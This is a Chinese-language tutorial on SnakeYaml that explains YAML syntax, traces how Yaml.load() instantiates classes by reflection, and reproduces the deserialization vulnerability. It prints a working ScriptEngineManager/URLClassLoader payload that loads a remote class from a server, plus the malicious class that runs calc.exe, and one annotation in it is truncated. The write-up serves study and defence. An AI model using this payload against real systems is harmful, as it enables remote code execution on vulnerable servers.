yaml
yaml简介 是一种数据序列化格式,易于被阅读,类似于XML。
基本语法:
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不允许使用Tab,只允许使用空格,缩进的空格数目不重要,只要相同层级的元素左对齐即可
- ‘#’表示注释,从它开始到行尾都被忽略
强制类型转换:!!
yaml支持的三种格式:
- 对象
使用冒号代表,格式为key: value,冒号后面加一个空格(可以使用缩进表示层级关系
- 数组
使用一个短横线加一个空格代表一个数组项:
- 常量
YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。
SnakeYaml进行序列化和反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
- Yaml.dump():将一个对象转化为yaml文件形式;
demo:
User.java
public class User {
String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
package yaml;
import org.yaml.snakeyaml.Yaml;
public class Test {
public static void main(String[] args){
User user = new User();
user.setName("Sviivya0-");
Yaml yaml = new Yaml();
String s = yaml.dump(user);
System.out.println(s);
}
}
输出yaml格式的内容,这里”!!”用于强制类型转化,”!!User”是将该对象转为User类,如果没有”!”则就是个key为字符串的Map:
调试yaml反序列化链
SnakeYaml反序列化的实现主要是通过反射机制来查找对应的Java类,新建一个实例并将对应的属性值赋给该实例。
**
调试Yaml.load()在调用时会调用将要反序列化的类的哪些方法。
将断点下在User user = yaml.load(s);看看load方法会调用哪些方法来对此序列化数据进行操作。
- 在load函数里先实例化一个StreamReader类,并且将yaml数据通过构造函数赋值给StreamReader,再调用LoadFromReader类。
- 在loadFromReader()函数中,调用了BaseConstructor.getSingleData()函数,此时type为java.lang.Object,指定从yaml格式数据中获取数据类型是Object类型:
- 跟进getSingleData()函数中,先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象),然后判断当前Node是否为空且是否Tag(tag如下图显示为类)为空,若不是则判断yaml格式数据的类型是否为Object类型、是否有根标签,这里都判断不通过,最后返回调用constructDocument()函数的结果:
- 跟下去继续调试,跟到getClassForNode()函数中,先根据tag取出className为User,然后调用getClassForName()函数根据tag获取到具体的User类(反射:
- 在getClassName()函数中,判断开头是否是Tag.PREFIX即”tag:yaml.org,2002:”,是的话进行UTF-8编码并返回该类名:
- 而在getClassForName()函数中,根据获取到的User类名来调用
Class.forName()
即通过反射的方式来获取目标类User:
- 往下调试发现,调用construct()函数构造User类对象:
- 进一步跟进constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的User对象的属性值:
- 跟进MethodProperty.set()函数,就是通过反射机制来调用User类name属性的setter方法来进行属性值的设置的:
调用属性值设置的方法,就返回含有属性值的User对象了。
简而言之就是将获取到的yaml格式的数据进行序列化,当遇到!!强制类型转换某个类时,服务端会对其类进行实例化,再挨个获取属性值的设置方法。换言之若我们将恶意方法写入到设置属性值的方法中,那么在服务器执行这个方法时,就会执行我们的恶意代码
SnakeYaml反序列化漏洞
影响版本:没有版本限制。
漏洞原理:因为SnakeYaml支持反序列化yaml格式的数据(包括java对象),所以当Yaml.load()参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
复现利用(基于ScriptEngineManager利用链)
本次反序列化利用的是ScriptEngineManager的利用链,ScriptEngineManager类用于Java和JavaScript之间的调用。
User.java:需要实现ScriptEngineManager接口类,利用其静态代码块用于执行恶意代码,将其User.java编译成User.class字节码文件,然后置于web服务器,便于访问、
这里生成class文件时,需要生成不带包名的文件,不然远程加载文件时找不到包、会报错。
package yaml;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class User implements ScriptEngineFactory {
static{
try {
System.out.println("Passer6y nb.");
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Overri
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
Test.java :假设的Yaml.load()外部可控的服务端程序。
package yaml;
import org.yaml.snakeyaml.Yaml;
public class Test {
public static void main(String[] args) {
String s = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999/\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(s);
}
}
监听9999端口,将class文件放在Web服务所在的文件目录,同时在同级目录下创建如下文件META-INF\services\javax.script.ScriptEngineFactory; 其文件内容指定为被执行的User。
注意不要添加“.class”,否则会被当作是目录来分割处理,从而不能找到相应的class文件。
或者将其打包为恶意的jar包,直接命令执行 :https://github.com/artsploit/yaml-payload
payload :注意每个首次出现的”[“字符前面需要有个空格:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999/\"]]]]\n
调试分析:
调试发现,在调用完如下调用链获取到类名”javax.script.ScriptEngineManager”之后,会返回到调用链中的construct()函数中调用获取到的构造器的constrcut()方法,然后就会继续遍历解析得到yaml格式数据内的”java.net.URLClassLoader”类名和”java.net.URL”类名:
往下调试,在返回到的Constructor$ConstructSequence.construct()方法中,程序往下执行会调用newInstance():
这里为新建ScriptEngineManager类实例,其中argumentList参数为URLClassLoader类对象。
然后就调用到了ScriptEngineManager类的构造函数了:
在init()中调用了initEngines(),跟进initEngines(),看到调用了ServiceLoader<ScriptEngineFactory>
,这个就是Java的SPI机制,它会去寻找目标URL中META-INF/services
目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载文件内容中指定的类即PoC,这就是前面为什么需要我们在一台第三方Web服务器中新建一个指定目录的文件,同时也说明了ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行:
跟下去,在ServiceLoader$LazyIterator.nextService()函数中调用Class.forName()
即通过反射来获取目标URL上的PoC.class,此时在Web服务端会看到被请求访问PoC.class的记录;接着c.newInstance()函数创建的PoC类实例传入javax.script.ScriptEngineManager类的cast()方法来执行:
此时由于新建的是PoC类实例,因此会调用到PoC类的构造函数,而该类的静态代码块会被执行一遍,从而触发率任意代码执行漏洞。